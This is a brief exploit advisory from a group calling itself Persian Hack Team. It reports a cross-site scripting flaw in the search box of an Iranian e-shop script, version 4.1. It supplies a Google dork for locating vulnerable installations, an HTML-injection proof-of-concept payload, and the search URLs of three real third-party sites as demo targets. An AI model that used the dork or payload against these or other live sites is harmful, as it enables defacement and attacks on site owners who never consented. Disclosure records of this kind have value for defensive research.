######################
# Exploit Title :  IrIran Shoping Script Cross Site Scripting Vulnerability 
# Exploit Author : Persian Hack Team
# Vendor Homepage : http://www.iriran.net/eshopbuilder/
# Google Dork : "Powered by: IRIran.net" 
# Date: 2016/04/26
# Category:  [ Webapps ]
# Tested on: [Win /php ]
# Version : 4.1
######################
# PoC:
# Search Box Vulnerable To XSS
# Payload = <marquee><font color=red size=4>Only For Security Alert c_C </font></marquee>
#
# Demo:
# http://www.testiran.com/search/index.php
# http://www.ebookiran.ir/search/index.php
# http://www.tech4.ir/search/index.php
######################
# Discovered by :
# Mojtaba MobhaM (kazemimojtaba@live.com)
# T3NZOG4N (t3nz0g4n@yahoo.com)
# Greetz : All Persian Hack Team Members
# Homepage : persian-team.ir
######################